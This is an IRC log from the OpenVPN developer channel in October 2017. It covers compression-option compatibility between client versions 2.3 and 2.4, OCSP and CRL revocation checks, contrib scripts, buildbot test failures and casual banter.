09:16 <@dazo> I read through several of those reproducers .... and I just couldn't stop thinking: "How did you figure out this approach?" 09:16 < CRCinAU> yup. 09:16 < CRCinAU> this guy is brilliant 09:18 <@dazo> yeah 09:30 < CRCinAU> dazo: go to about 15:30 in that youtube video above ;) 09:32 <@dazo> already watched the exploit :) 09:34 <@dazo> 20-30 functions with support for hidden parameters!?!? 09:35 <@cron2> whee 09:35 < CRCinAU> yup. 09:36 * dazo need to run for some food 12:20 <@ordex> maybe I should not install X anymore .. mh 17:18 <@vpnHelper> RSS Update - tickets: #945: systemd: LimitNPROC too low, wrong knob <https://community.openvpn.net/openvpn/ticket/945> 18:21 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 240 seconds] 18:25 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 18:25 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 19:23 <@ordex> moin moin --- Day changed Tue Oct 10 2017 05:17 <@ordex> I have a flash-free laptop *_* 05:17 <@ordex> I can't believe that 05:36 * cron2 so hates hardware... today: planned downtime due to drilling (we get fiber into the house, right next to the server). After that, server bios and FreeBSD bootstrap fighting, and server bios wins -> "this machine no boot". It boots when set to "SATA=legacy", but no combination of old and new bootstrap code will make it boot with "SATA=AHCI". Last reboot ~9 months ago worked just fine. No 05:36 * cron2 changes to boot stuff since then. WTF. 05:38 <@ordex> :/ 06:02 <@cron2> the part that irritates me most is that I cannot figure out what changed... trying to revert various bits of the bootloader to various older versions changed the effect (to "well known" non-working variants)... 06:03 < slypknot> ordex: what is "flash_free" ? 06:05 <@ordex> slypknot: no adobe flash installed :) 06:06 < slypknot> ah .. yes :) 06:06 < slypknot> I know the feelin' 06:09 <@ordex> hehe 07:41 <@ecrist> slypknot: did my email make sense? 07:49 <@ecrist> cron2: those types of issues are exactly why I do try to reboot non-virtual hostss periodically. 07:50 <@ecrist> Particularly any time I make a change that may affect startup, because I'm bound to forget what I did when my box won't reboot in 9 months... ;) 07:51 <@cron2> ecrist: well, I document *all* changes to the system, so I'm fairly sure I didn't do anything to gptzfsboot or zfsloader... freebsd-update did, but I rebooted after that one... 07:51 <@cron2> it's some sort of weird gptzfsboot-hates-HP-Bios shit 07:54 < slypknot> ecrist: it made sense but we don't allow poeple to edit posts so i am at a loss for that one. But it is spam non-the-less and you cannot get anything from their website without disclosing your own info .. I think we should delete it and be done 07:54 < slypknot> ecrist: also https://community.openvpn.net/openvpn/wiki/OpenvpnSoftwareRepos is currently offline 07:54 <@vpnHelper> Title: OpenvpnSoftwareRepos – OpenVPN Community (at community.openvpn.net) 07:55 < slypknot> forget tthat ^ it is back up 07:58 <@ecrist> ok, then delete the post and warn the user. leave a suitable message in the warning, though. 07:59 < slypknot> ok 08:09 < slypknot> ecrist: I sent a pm to the user explaining why we deleted the post + added user feedback detailing the spam + deleted the post 08:21 <@ecrist> good 08:42 <@ecrist> slypknot: I've also set edit/delete time to 1 day now 08:42 <@ecrist> so, users can delete their own post, or edit it, up to 1 day after posting. It was set to 15 minutes. 08:51 < slypknot> ecrist: does it inform me if edits ? otherwise I think you will start seeing the old "bait and switch" .. 18:21 -!- pekster_ is now known as pekster 21:17 <@ordex> morning --- Day changed Wed Oct 11 2017 03:00 <@mattock> topics for today's community meeting? 03:02 < CRCinAU> *cough* contrib scripts ;) 03:03 <@mattock> again? :P 03:03 < CRCinAU> this is my wallpaper: http://theprofoundprogrammer.com/post/31046915750/text-im-pretty-sure-that-im-helping ;) 03:03 <@vpnHelper> Title: The Profound Programmer (at theprofoundprogrammer.com) 03:04 < CRCinAU> well, it got sent to the list for comment - and pretty much died in the ass. 03:05 < CRCinAU> I didn't put my 0.02c in on the mailing list because I wanted to not influence and hopefully see other ideas 03:06 < CRCinAU> but the ideas were not forthcoming :( 03:06 < CRCinAU> as such, I still think that openvpn-contrib as a new GH repo that handles all contrib stuff - handle pull requests via it etc 03:06 < CRCinAU> then a shallow checkout in /contrib in the source tarball maybe? 03:07 <@mattock> explain shallow checkout :P 03:08 < CRCinAU> git clone --depth 1 http://blah ? 03:08 < CRCinAU> apparently though you can put a git repo inside a git repo 03:09 < CRCinAU> but I've never tried it 03:10 <@mattock> well you can use git submodules 03:11 <@mattock> that can be useful when your application depends on certain versions of external libraries 03:11 <@mattock> you add the external library's git repo as a submodule 03:11 <@mattock> you can then lock that external repository (submodule) to a particular version 03:16 < CRCinAU> I dunno - I'm just spitballing :p 03:27 <@cron2> yeah, contrib script, I'll review tonight 03:27 <@cron2> Simon Rozman's MSVC patches need someone with windows understanding for review - hoping for Selva 03:28 < CRCinAU> I'd almost thing as well that the LDAP plugin should turn into a contrib script 03:29 < CRCinAU> and I might end up writing an LDAP perl script ;) 03:29 < CRCinAU> use the standard GOSA fields etc 03:29 < CRCinAU> using the Net::LDAP should be pretty easy 03:33 <@dazo> I thought we already had a perl ldap script somewhere ... or is it using pam? 03:34 < CRCinAU> nfi lol 03:36 <@mattock> these is at least one ldap plugin 03:37 <@dazo> To be honest ... I just remember we have *something* perl and it is not being yubikey related :) 04:04 < CRCinAU> oh, fwiw, https://developers.yubico.com/yubico-pam/YubiKey_and_OpenVPN_via_PAM.html 04:04 <@vpnHelper> Title: YubiKey and OpenVPN via PAM (at developers.yubico.com) 04:04 < CRCinAU> doesn't say to use 2.0.9 anymore 04:05 < CRCinAU> it just has 2.0.9 in the examples 04:10 <@ordex> dazo++ at your comment about the commit message in the patches 04:10 <@ordex> I thought the same :P 04:11 <@dazo> CRCinAU: "progress! :) 04:11 < CRCinAU> dazo: like I said, this is my wallpaper: http://theprofoundprogrammer.com/post/31046915750/text-im-pretty-sure-that-im-helping :P 04:11 <@vpnHelper> Title: The Profound Programmer (at theprofoundprogrammer.com) 04:12 <@dazo> hehe :) 04:12 < CRCinAU> "An SQL injection is when you ask the waiter for a large pepperoni GIVE ME ALL YOUR MONEY with a side of fries." 04:12 < CRCinAU> hmmm 04:13 <@dazo> that's a good one! 04:13 < CRCinAU> oh my. 04:14 < CRCinAU> FOAAS (Fuck Off As A Service) provides a modern, RESTful, scalable solution to the common problem of telling people to fuck off. 04:14 <@dazo> hahaha ,,,, *where*!?!? 04:14 * dazo found it :-D 04:16 <@dazo> ecrist: ^^^ is that something we can add to vpnHelper when we want to /kickban people? :-P .... could save some typing :-P 04:16 <@dazo> Like: !kickban $NICK .... and it chooses a random FO msg :-P 04:18 < CRCinAU> Changelog: - Corrected an uncommon instance in which the code edit window was briefly interactive and usable ;) 04:18 <@dazo> :-P 04:19 < CRCinAU> oh shit.... this site is good: 04:19 < CRCinAU> A programmer had a problem. He thought “I know, I’ll solve it with threads!”. has Now problems. two he 04:20 <@dazo> :-P 04:21 <@dazo> https://twitter.com/nixcraft/status/865594473169903617 04:23 <@dazo> lol ... https://istrumpstillpresident.io/ 04:23 <@vpnHelper> Title: Is Trump Still President As A Service (at istrumpstillpresident.io) 04:24 < CRCinAU> nice. 04:28 < CRCinAU> lol 04:28 < CRCinAU> [text: “xml”, photograph of a series of needlessly nested cardboard crates, an inefficient and bulky storage system containing nothing of value] 04:40 <@vpnHelper> RSS Update - tickets: #946: Remote CRL <https://community.openvpn.net/openvpn/ticket/946> 05:24 <@ordex> topics for tonight are too many .. :P 05:24 <@ordex> syzzer: will you make it ? 05:24 <@ordex> mh I doubt that 05:25 <@mattock> yeah, I will fix the one issue with patchwork today before meeting so we don't have to discuss it 05:25 <@mattock> and I think contrib scripts were discussed enough last week 05:25 <@ordex> cool! 05:25 <@ordex> yeah 05:26 < CRCinAU> meeting with no outcome? :P 05:26 * CRCinAU puts on his meeting nazi hat ;) LOL 05:53 <@ordex> dazo: why would it be useful to use a remote CRL not issued by your own CA? 05:53 <@dazo> ordex: you need to set up your own OCSP responder .... 'openssl ocsp' is the quickest path 05:54 <@dazo> (unless you already have CA software providing that for you) 05:54 <@ordex> OCSP responder .. mh ok 05:55 <@dazo> as the CRL grows .... it pushes more and more load on the CRL users, plus it is more and more data to download each time 05:56 <@dazo> s/users/consumer/ .... as in openvpn server or client 05:56 <@ordex> yeah 06:00 <@dazo> but that said ... there's nothing wrong with adding a script hook which will download and update a local cache of the CRL ... that could be the other approach. Which script hook to use depends on if the CRL is publicly available or only via the VPN 06:00 <@dazo> and also if it is server or client 06:05 <@dazo> hmmm .... nice! FreeIPA's CA actually implements OCSP by default 06:06 <@dazo> openssl ocsp -issuer /etc/ipa/ca.crt -nonce -CAfile /etc/ipa/ca.crt -url http://$IPA_SERVER/ca/ocsp -serial 0x0FD93220 06:06 <@dazo> esponse verify OK 06:06 <@dazo> 0x0FD93220: revoked 06:06 <@dazo> This Update: Oct 11 10:58:28 2017 GMT 06:06 <@dazo> Revocation Time: Sep 15 14:02:52 2017 GMT 06:07 <@dazo> openssl ocsp -issuer /etc/ipa/ca.crt -nonce -CAfile /etc/ipa/ca.crt -url http://$IPA_SERVER/ca/ocsp -serial 0x0FD93218 06:07 <@dazo> Response verify OK 06:07 <@dazo> 0x0FD93218: good 06:07 <@dazo> This Update: Oct 11 11:00:50 2017 GMT 06:09 <@dazo> mattock: ^^^ this is probably something to consider, if we move certs handling for corp VPN to IPA as well .... not sure how all this CA stuff is handled in AS though 06:14 <@ordex> :) 07:11 < slypknot> dazo: ping 07:12 <@ecrist> dazo: I like the idea. 07:13 <@dazo> slypknot: pong 07:14 < slypknot> There is a thread on the forum .. I already know the answer and have one prepared but there is a follow up Q: 07:14 < slypknot> this is the post 07:14 < slypknot> https://forums.openvpn.net/viewtopic.php?f=4&t=25000 07:14 <@vpnHelper> Title: 2.4 "compress" backward compatibility with 2.3 "comp-lzo no" (possible bug?) - OpenVPN Support Forum (at forums.openvpn.net) 07:15 < slypknot> have a read .. first off the bug in question is not a bug I have tested it 07:16 <@ecrist> dazo: I think I will actually write a supybot plugin for that 07:16 < slypknot> but .. if comp-lzo is no (2.3.x client) and server pushes "compress" then it is not recognised by 2.3.x 07:16 <@dazo> ecrist: heh :) .... perhaps !fo (/kick) and !foban (/kickban) are more appropriate :-P 07:17 <@dazo> slypknot: hmmm ... yeah, I was thinking along those lines .... I thought --compress existed in 2.3 though, perhaps not 07:18 < slypknot> nope .. i tested it thoroughly 07:18 < slypknot> however, that thread is actually showing that the server is badly conf'd because I have replicated it and it works fine if the server is setup properly 07:18 <@dazo> okay ... this is surely an interesting corner case 07:19 <@dazo> ahh, that's good! 07:19 < slypknot> the only issue is that 2.3.x does not recognise --push "compress" 07:19 < slypknot> hence the error 07:19 < slypknot> but also .. the client log does show that "compression options modified" 07:19 <@dazo> yeah, I'm willing to consider that a bug though .... need to think this thoroughly through though ... we probably should add --compress as an option, while skipping the LZ4 stuff 07:20 < slypknot> so it looks like a small bug somewhere 07:20 <@dazo> well, it isn't strictly a bug ... but it's version compatibility related 07:22 < slypknot> i don't want to argue that .. the problem is the 2.3.18(and 14) log states two differing things .. 1. "compress no recognised *or missing option*" 2. "compression options modified" 07:23 < slypknot> so .. the log is contradicting itself 07:23 <@dazo> I don't see that in the forum post .... unless I'm blind 07:23 < slypknot> the forum post is at verb 3 not 4 07:23 <@dazo> ahh okay 07:23 < slypknot> i tested it thoroughly before bothering you with it 07:24 <@dazo> can you pastebin some logs for me to glare at? 07:24 < slypknot> sure .. take me a couple of mins 07:24 <@dazo> because, 2.3 does not have any understanding of --compress at all .... so I'm puzzled of that "modified" log line 07:25 < slypknot> it is actually "LZO parms modified" but I'll paste it 07:36 <@dazo> eek .... the patch introducing --compress (together with Snappy) 07:36 <@dazo> 19 files changed, 975 insertions(+), 403 deletions(-) 07:36 <@cron2> that's a james-svn-port :) 07:36 <@ecrist> dazo: nothing here yet, but stay tuned: https://github.com/ecrist/supy-foaas 07:36 <@cron2> and yes, he reorganized quite a bit 07:36 <@dazo> yeah 07:36 <@vpnHelper> Title: GitHub - ecrist/supy-foaas: Fuck Off as a Service supybot plugin (at github.com) 07:37 <@dazo> this is not going to be too trivial :/ 07:37 <@dazo> ecrist: hehe ... cool! 07:38 < slypknot> client 2.3.18 log verb 4 (config has "comp-lzo no") : https://paste.fedoraproject.org/paste/CCfHm2QZ0JS9RR3~KUZrYg 07:39 <@dazo> slypknot: that config pushes both --compress and --comp-lzo .... see the PUSH_REPLY line 07:39 * slypknot facepalm 07:39 <@dazo> that's why you get both failure and the "compression changed" log line 07:39 <@dazo> :) 07:39 < slypknot> i'll try again ! 07:40 <@dazo> :) 07:40 <@dazo> that's the beauty of peer review :) 07:43 < slypknot> yup .. that's all it was .. thanks for spotting it ;) 07:44 < slypknot> now to see if compression still works tho 07:45 <@dazo> so, to have --compress support in v2.3 is going to require quite some work. We can't cherry-pick the patch which is in release/2.4, it is too big and does far too much ... so we need a simpler approach 07:46 <@cron2> dazo: I think we can just pick the config.c part - accept "compress lzo" or "none", barf on everything else 07:46 <@cron2> and "compress lzo" would than just map to comp-lzo 07:47 <@cron2> importing snappy just to kick it out later again is definitely not the way to go :-) 07:49 <@dazo> yeah ... that's what I'm thinking as well ... but need to fully understand what James did with the compression framing too ... as COMP_ALG_STUB is something which got introduced here too 07:49 <@dazo> together with compstub.c 07:50 <@dazo> so the re-organizing clutters the understanding of the --compress option parsing :) 07:50 <@cron2> IIRC this is "use compression framing but no compression" 07:50 <@dazo> yeah, but what changed from --comp-lzo no ? 07:50 <@cron2> sort of "comp-lzo off", just better named 07:50 <@cron2> "no", right 07:50 <@dazo> yeah 07:50 <@cron2> I think that's basically it, except "move every compression algorithm to its own file set" 07:51 <@cron2> and define IV_ flags (AFAIR) 07:52 <@dazo> ahh, right 08:23 < slypknot> um .. please remind me : if server has "comp-lzo yes" and then pushes "comp-lzo no" does the pushed "no" override the config's "yes" ? 08:41 < slypknot> i am currently running: serv git master w/ comp-lzo yes .. client 2.3.18 w/ comp-lzo no .. no problem 08:42 < slypknot> i know the drill .. logs and configs 08:55 <@dazo> slypknot: that should work .... --comp-lzo {yes|no} enables the compression framing, and compression can be enabled/disabled per client 09:01 <@dazo> to be clearer. --comp-lzo in the config defines the default, and as long as it is present in the config - the server may override it with a --push comp-lzo 09:03 < slypknot> dazo: I am not pushing comp-lzo 09:04 <@dazo> Then I don't think it would work 09:04 < slypknot> that is why i am going through it *very* thoroughly this time .. don't want to have to hit my face again today ;) 09:04 <@dazo> if server expects compressed packets (based on --comp-lzo yes) and the client sends uncompressed packets (based on --comp-lzo no), then the server would fail on the compression 09:05 <@dazo> :) 09:05 <@dazo> *but* there is this adaptive compression too .... which I don't remember the details around and how that hits the the --comp-lzo {yes,no} 09:07 < slypknot> I'll doc it and send to -users ML 09:08 < slypknot> if i can't find my cockup ! 09:08 < slypknot> otherwise presume i found it ;) 09:08 <@dazo> :) 09:09 < slypknot> comp-lzo (if done wrong) does effect every packet .. eben --ping .. right ? 09:09 < slypknot> even* 09:09 <@dazo> no, only the data channel afair ... --ping goes on the control channel 09:09 < slypknot> ahh ok 09:10 < slypknot> thanks 09:10 <@dazo> yw! 10:07 < slypknot> dazo: progress .. 10:08 < slypknot> works: --server --comp-lzo yes / --client --comp-lzo no 10:08 < slypknot> error: --server --comp-lzo no / --client --comp-lzo yes 10:09 < slypknot> serv 2.5_git / cli 2.3.18 10:09 < slypknot> not pushing any comp-lzo 10:10 < slypknot> quadroople checking 10:15 < slypknot> using the $error way above, it looks like --client is always --comp-lzo yes if --comp-lzo is specified in the config .. ping from cli to serv fails at serv with decompress error .. ping from serv to cli fails at serv on echo reply 10:20 <@cron2> slypknot: comp-lzo in the client config cannot be unset, pushing "comp-lzo no" is not(!) the same as "not having comp-lzo" 10:20 <@cron2> (one thing is "compression framing with no compression" while the other is "no compression framing") - and that's why we have --compress in 2.4, which is generally a bit more sane 10:21 < slypknot> cron2: accepted .. 10:21 < slypknot> however, if you don't spec --comp-lzo in 2.3.28 then it throws a huge error once the tap is open 10:24 < slypknot> "write to TUN/TAP [State=AT?c Err=c:\users\samuli\tap-windows-github\src\tapdrv.c/2475 #o=23 TX=[13803,0 10:25 < slypknot> and more .. followed by "The data area passed to a system call is too small. (code=122)" 10:26 < slypknot> so --com-lzo is a required parm for 2.3.18 10:26 < slypknot> i suppose that could be by design 10:29 < slypknot> i guess --comp-lzo needs some TLC but probably won't get it due to proirities 10:30 < slypknot> if you config it right its fine .. otherwise expect the worce 10:34 < slypknot> I think the 2.3.x option parser should FATAL error if --comp-lzo is *not* present in the config 10:35 <@ordex> slypknot: the manpage says to not use comp-lzo anymore 10:35 <@ordex> therefore I'd just forget any problem related to it and point people to use --compress 10:35 < slypknot> ordex: 2.3.x not 2.4 10:36 <@ecrist> slypknot: --comp-lzo is not a required option, never has been 10:36 < slypknot> exr.. try it 10:36 < slypknot> ecrist: ^ 10:37 <@ecrist> try what? 10:37 < slypknot> if --com-lzo is not present then the TAP driver errors out 10:38 < slypknot> and more .. followed by "The data area passed to a system call is too small. (code=122)" 10:38 <@ordex> slypknot: only on windows, I guess? 10:38 < slypknot> who welse would run 2.34 10:42 < slypknot> if --comp-lzo is not present in the client conf then the client does not accept comp-lzo op and then the TAP driver fails 10:42 < slypknot> the client does not accept pushed comp-lzo 10:42 <@ecrist> slypknot: historically you could not push comp-lzo 10:43 < slypknot> how is that relevant tho ? 10:44 <@ecrist> Does 2.3 allow pushing comp-lzo? 10:45 < slypknot> it does according to the manual 10:45 <@ecrist> So, it's possible to not have --comp-lzo set in the configuration. 10:45 < slypknot> but the only people who would need to use 2.3 are winxp 10:45 <@ecrist> And that's a-OK 10:46 <@ecrist> It's not fatal to omit --comp-lzo 10:46 < slypknot> no .. if comp-lzo is not present in the cli config (have not tested server) then the TAP driver throws a fit 10:46 < slypknot> and the connection promptly fails 10:46 < slypknot> this error .. followed by "The data area passed to a system call is too small. (code=122)" 10:48 < slypknot> and that is regardless of what the server has set 10:50 < slypknot> hang on .. 10:53 < slypknot> well well well .. on *second* connection attempt (same instance, after ping timeout) lzp parms are modified 10:53 < slypknot> lzo* 10:54 < slypknot> it aint pretty but it gets there eventually 11:06 <@dazo> ordex: slypknot is digging into an v2.3 vs v2.4 issue .... where --compress is not available in v2.3 11:06 * dazo runs for a meeting 11:13 < slypknot> i've read C for dummies 3 times now .. if only I understood a bit more of it ;) 11:27 <@vpnHelper> RSS Update - gitrepo: Local functions are not supported in MSVC. Bummer. <https://github.com/OpenVPN/openvpn/commit/0893b14a7f8023964760e6229badcd2cfef57de2> 11:28 < slypknot> dazo: I am catching your habit of using "have" where i really mean "has" ;) 11:31 <@dazo> eeek .... sorry! 11:31 < slypknot> lol 11:32 < slypknot> it's a funny idiosyncrassy :) but us natives notice it 11:32 < slypknot> but don't worry about it 11:36 < slypknot> I guess WRT --comp-lzo, the question is "how long do you plan to support 2.3" ? 11:50 < slypknot> Of my four buildbots which is the least useful ? arch,centos7,debian8 or gentoo ? .. I need some RAM back 11:51 < Thermi> Are you doing anything with the kernel? 11:51 < slypknot> Thermi: is that addressed to me ? .. i actually need the RAM for the host Win10 11:52 < Thermi> slypknot: Yes. If you don't, you can just basically make them into containers. 11:52 < Thermi> That way you effectively save all unused memory. 11:52 < Thermi> Don't need to waste 4 GB of RAM when you actually only run bash in Arch. 11:52 < slypknot> I use hyperv at the mo .. what are you sugesting ? 11:52 < Thermi> Ah, Windows host? 11:52 < Thermi> Well, docker. 11:52 < slypknot> yers 11:53 < Thermi> Maybe just one Linux VM with 3 or 4 docker containers. 11:53 < Thermi> That would be a lot more efficient.- 11:53 < slypknot> hmm .. sounds feasible 11:53 < Thermi> You can "convert" the Linux VMs into containers by just copying all the FS contents into empty docker containers. 11:54 < slypknot> I'll look into it 11:54 < Thermi> Then add the entrypoint scripts that the top-of-the-shelf docker images for the distros have. Then you're set for the standard stuff. 11:54 < Thermi> (Except if you need to start some magic daemon or run systemd in the containers. I haven't done that yet) 12:13 <@vpnHelper> RSS Update - gitrepo: Mixing wide and regular strings in concatenations is not allowed in M… <https://github.com/OpenVPN/openvpn/commit/d6e0917922793315b06aba395ed0666e17c5b44c> 12:34 < slypknot> Thermi: https://www.docker.com/docker-windows .. looks guud 12:34 < Thermi> If you like that, sure. 12:36 < slypknot> i would go linux but i do need win10 sadly 12:36 < Thermi> There's nothing stopping you from running Docker on Linux via a VM. 12:37 < slypknot> sounds too scary :S 12:37 < Thermi> Scary? 12:38 < slypknot> it's like "how far down the rabbit hole will you go ?" 12:38 < slypknot> i'll try this first 12:38 < Thermi> It is not. 12:38 < slypknot> haven't had any exp with docker before 13:58 < slypknot> dazo: at verb 4 we see "expected remote options string" is there a way to see "recieved remote options string" ? 13:59 <@dazo> I think you're confusing this a bit .... the "remote options string" is related to "local options string", iirc ... and I think you're mixing that with the PUSH_REPLY 14:01 < slypknot> ok .. maybe .. but i recall seeing (can't remember how) a message : "local option com-lozo present missing in remote options" (but not confused about push honest guv ;) 14:01 < slypknot> comp-lzo i mean 14:02 <@dazo> ahh, okay ... there should be a local options stuff too in pretty much close to the remote options ... with --verb 4 14:02 < slypknot> yes .. but it is "expected" not actual .. 14:02 <@dazo> but those arrive from the OCC "packet" sent between client and server 14:02 < slypknot> I know i saw it earlier while looking at this one 14:03 < slypknot> "local options contains comp-lzo but comp-lzo is missing in remote" maybe only available to server 14:03 <@dazo> that stuff is only used to compare options compatibility between server and client ... it never changes either side's config 14:03 < slypknot> I understand that .. but it can offer a clue to the remote config 14:04 < slypknot> useful for comp-lzo because that was the message i saw 14:04 <@dazo> I can't access your paste ... so I can validate that one now 14:04 < slypknot> i'll try a few things 14:04 <@dazo> can't* 14:04 < slypknot> no prob 14:04 < slypknot> thanks as ever ;) 14:06 < slypknot> let me put it another way: is there an "recieved options string" as well as the "expected remote options string" ? 14:06 < slypknot> grepping the source 14:06 <@dazo> ahh, no, I don't think so 14:07 < slypknot> something in init.c 3299 & 4176 14:09 <@dazo> slypknot: the 3299 is exactly the code I had in mind 14:09 < slypknot> yeah but only "expected" nothing about recieved or actual remote 14:10 <@dazo> exactly 14:10 < slypknot> dang 14:10 <@dazo> because the remote does not send the options it uses to the client 14:11 < slypknot> if you have time .. how is it used breafly ? 14:11 < slypknot> breifly even 14:11 <@dazo> that function? 14:11 <@dazo> or the OCC? 14:11 < slypknot> well the strings .. 14:11 < slypknot> i know i saw the message i mentioned 14:11 <@dazo> it is more or less a debug feature ... so you can correlate this manually when having access to both client and server logs at the same time 14:11 < slypknot> ok 14:13 < slypknot> here we go : options.c:3790: msg(msglevel, "WARNING: '%s' is present in %s config but missing in %s config, %s='%s'", 14:14 <@dazo> right ... but not all options are sent over the OCC 14:14 < slypknot> but i believe comp-lzo *is* 14:19 < slypknot> ah .. i have it 14:19 <@dazo> yeah, I think you're right ... options.c:3521 -> options_string() 14:20 <@dazo> heh ... okay, this is interesting ... 14:20 <@dazo> if (o->comp.alg != COMP_ALG_UNDEF) 14:20 <@dazo> { 14:20 <@dazo> buf_printf(&out, ",comp-lzo"); /* for compatibility, this simply indicates that compression context is active, not necessarily LZO per-se */ 14:20 <@dazo> } 14:20 <@dazo> so if --compress or --comp-lzo is used (regardless of lzo, lz4, no, yes) ... it is printed as --comp-lzo in the options string 14:21 < slypknot> ok 14:22 < slypknot> the msg i have is : "WARNING: 'comp-lzo' is present in remote config but missing in local config" 14:22 <@dazo> right ... and that indicates that neither --compress nor --comp-lzo is set to *some* value 14:22 < slypknot> but if i configure it the other way around .. no message 14:22 <@dazo> the term "local" and "remote" is relative .... so you see this on the client or server side? 14:22 < slypknot> that was the client log btw 14:23 <@dazo> alright .... so that interprets as the server have --compress or --comp-lzo while the client config does not 14:23 <@dazo> s/have/has/ 14:23 < slypknot> LOL 14:23 <@dazo> I think that was right? 14:23 <@dazo> :) 14:23 < slypknot> yep :) 14:24 <@dazo> good! pester me about that mistake, and I *might* get it right in a year or so :-P 14:24 < slypknot> nah .. it's cute :D 14:24 < slypknot> but I will help out with the complex stuff if it really reads badly .. like that one about the comparison 14:25 <@dazo> :) 14:27 < slypknot> I actually wrote "have" today and then proof read it quickly and thought .. WTX .. that made me laff 14:27 <@dazo> :) 14:28 < slypknot> ahh .. it does work both ways .. i must "has" over looked it before 14:29 < slypknot> that is 2.3 cli -> 2.5_git srv 14:29 <@dazo> As a native Norwegian, I understand Danish fairly well .... and I worked in Scandinavian company for some years, talking daily with Danes .... one day I had to write a recommendation to a customer, so I sent a draft to a colleague who was really good in Norwegian ... I got it back, with lots of remarks in red; at the end of the page it said: "This looks more like Danish than Norwegian" 14:30 < slypknot> hehehe 14:31 < slypknot> i would be proud enough to be able to converse at all in multiple languages .. i can just about speak spanish and french (grade school) 14:31 < slypknot> and inglish ;) 14:31 <@dazo> well, the Scandinavian languages (NO, SE, DK) are basically just dialects .... and all somewhat close to German even 14:32 < slypknot> altho .. that is funny about forgetting your own language .. it must havs a lot of over lap 14:32 < slypknot> yep :) 14:33 <@dazo> I can even grasp some of the written Icelandic language, which also has the same language roots far back 14:35 < slypknot> human language is a very intricate skill .. some poeple are good others not so .. and actually speaking it is another skill altogether 14:36 <@dazo> yeah 14:37 < slypknot> some people just soak it up naturally .. others cannot break out of their natural tongue 14:38 < slypknot> anyway .. as ever thanks for your help :) 14:39 < slypknot> dazo: if you would be so kind : https://forums.openvpn.net/viewtopic.php?f=1&t=25000#p73319 14:39 <@vpnHelper> Title: 2.4 "compress" backward compatibility with 2.3 "comp-lzo no" (possible bug?) - OpenVPN Support Forum (at forums.openvpn.net) 14:45 < slypknot> dazo: altho I am not going to test it .. what he says implies that it is more than just a hard coded comp-lzo which is tested 14:46 < slypknot> or what it was you implied earlier 14:46 <@dazo> the server uses --compress lz4 for sure 14:47 <@dazo> that's why --comp-lzo yes didn't work on the client side and dumped those errors 14:49 < slypknot> yup 14:56 < slypknot> dazo: remember that freevpn.me that i got an undeserved warning about .. i checked thier config and they do almost exactly the same thing .. push the wrong LZO option .. but i got round it with --pull-filter 14:56 < slypknot> looks like a common practice or error 14:57 <@dazo> ahh, I had completely forgotten about the --pull-filter .... but that won't help lack of lz4 :/ 14:57 < slypknot> yeah not for 2.3 14:58 < slypknot> i can't believe these vpn providers would make such a stupid error by mistake .. i think they do it to minimize usage of their "free" service 14:59 < slypknot> so people upgrade .. know what i mean .. nudge nudge 15:00 < slypknot> ecrist: maybe you're interested in that ^^ 15:04 < slypknot> https://twitter.com/pikelet/status/915697618692345856 22:07 <@ecrist> ? 22:12 <@ordex> morning 22:25 <@ecrist> g'night 22:37 < CRCinAU> blerg 23:04 <@ordex> boom --- Day changed Thu Oct 12 2017 01:38 < CRCinAU> so 01:38 < CRCinAU> getfacl / getfacl 01:38 < CRCinAU> anyone know this stuff? 01:39 < CRCinAU> for ext4 acls? 02:44 <@ordex> am I wrong or buildbot is complaining outloud ? 02:53 <@cron2> buildbot seems to be mostly happy? freebsd is failing due to mbedTLS and RSA certs, macos is failing the single 4a test it always fails 02:54 <@cron2> but having 2 red and everything else green is like "gold standard" :) 02:57 <@ordex> ah ok :D 02:57 <@ordex> I just received several emails and I was wondering is that is considered 'normal' 02:58 <@cron2> mmmh. Seems they got stuck somewhere. I pushed a few patches yesterday, so it ran multiple rounds (yesterday) - so if they all showed up simultaneously now, sounds like greylisting etc 02:59 <@cron2> but yeah, 2-3 failures per build is "the currently not fully debugged issues" 02:59 <@ordex> ok :) 02:59 <@cron2> like, macos failing on t_client 4a - that's some sort of weird timing issue, everything works, except if run in this context. Seems tap0 is not changing quick enough to forwarding, so when it actually works, our test has already declared "64 byte pings did not work, failure" 03:00 <@cron2> test *4* is doing the same things, and works... 03:02 <@cron2> ah, and right now, slypknot's buildslave died... 03:02 <@cron2> has noticed that the buildslave named slave-tincan-debian-85-amd64 went away 03:04 <@vpnHelper> RSS Update - gitrepo: RtlIpv6AddressToStringW() and RtlIpv4AddressToStringW() require mstcp… <https://github.com/OpenVPN/openvpn/commit/55305a2fc66a768cbbf152da9092400590504574> 03:28 <@ordex> meh. I should make sure I am fully awake before writing emails 03:29 * cron2 hands over coffee 03:33 <@dazo> CRCinAU: whats up with getfacl/setfacl? 03:33 * ordex thanks 03:36 <@dazo> cron2: regarding macos and test 4a .... could we add a short sleep somewhere in the config? 03:37 <@dazo> (wait 5 seconds before starting ping) 03:40 <@ordex> isn't there any way to get an event when things are ready ? 03:40 <@ordex> maybe it's not worth investigatint hat 03:40 <@ordex> that 03:51 <@cron2> ordex: openvpn is ready, something in macos is stalling 03:52 <@cron2> dazo: plaisthos had done some experiments there already, and it seemed to work, now it's back to reproduceably being weird - we can tackle that at the hackathon (plaisthos does not see the fail mails and can not trigger rebuilds, so it's easier if we're sitting all around the table) 03:52 <@dazo> fair enough :) 03:52 <@cron2> actually, we already have the sleep 5 03:52 <@dazo> ahh :) 03:52 <@cron2> running post-init cmd: 'fping6 fd00:abcd:194:0::1 fd00:abcd:194:2::1 ; sleep 5' 03:53 <@cron2> 5 seconds later, ping6 to those addresses works 03:53 <@cron2> something funky with duplicate address detection is my guess 03:53 <@dazo> macos is getting slower .... need sleep 15 .... or 5*$age_of_computer :-P 03:53 <@ordex> :D 03:55 <@ordex> cron2: I understood it is not openvpn the problem, but I meant, maybe we can listen for some 'netlink-like' event via a console command before moving forward.but I really think nobody wants to dig into that..sounds creepy on macos 03:56 <@cron2> ordex: "route monitor" might show what's going on (which is freebsd's netlink socket thing)... hackathon .-) - I have no access to that machine... 03:56 <@ordex> hehe 03:56 <@ordex> should we plan a month long hackathon ? :D 03:57 <@cron2> nah, that's quite easy. You, syzzer and dazo talk about tls-crypt v8, and the rest of us can do hacking 03:59 <@ordex> :D 03:59 <@dazo> :-P .... well, *some* need to have the visions of the future .......... 04:00 * dazo ducks 04:00 <@ordex> where 8 stands for the amount of crypto layer nested within each other 04:00 <@ordex> *layers 04:00 <@dazo> :-P 04:00 <@dazo> v9 requires an additional engima machine 04:02 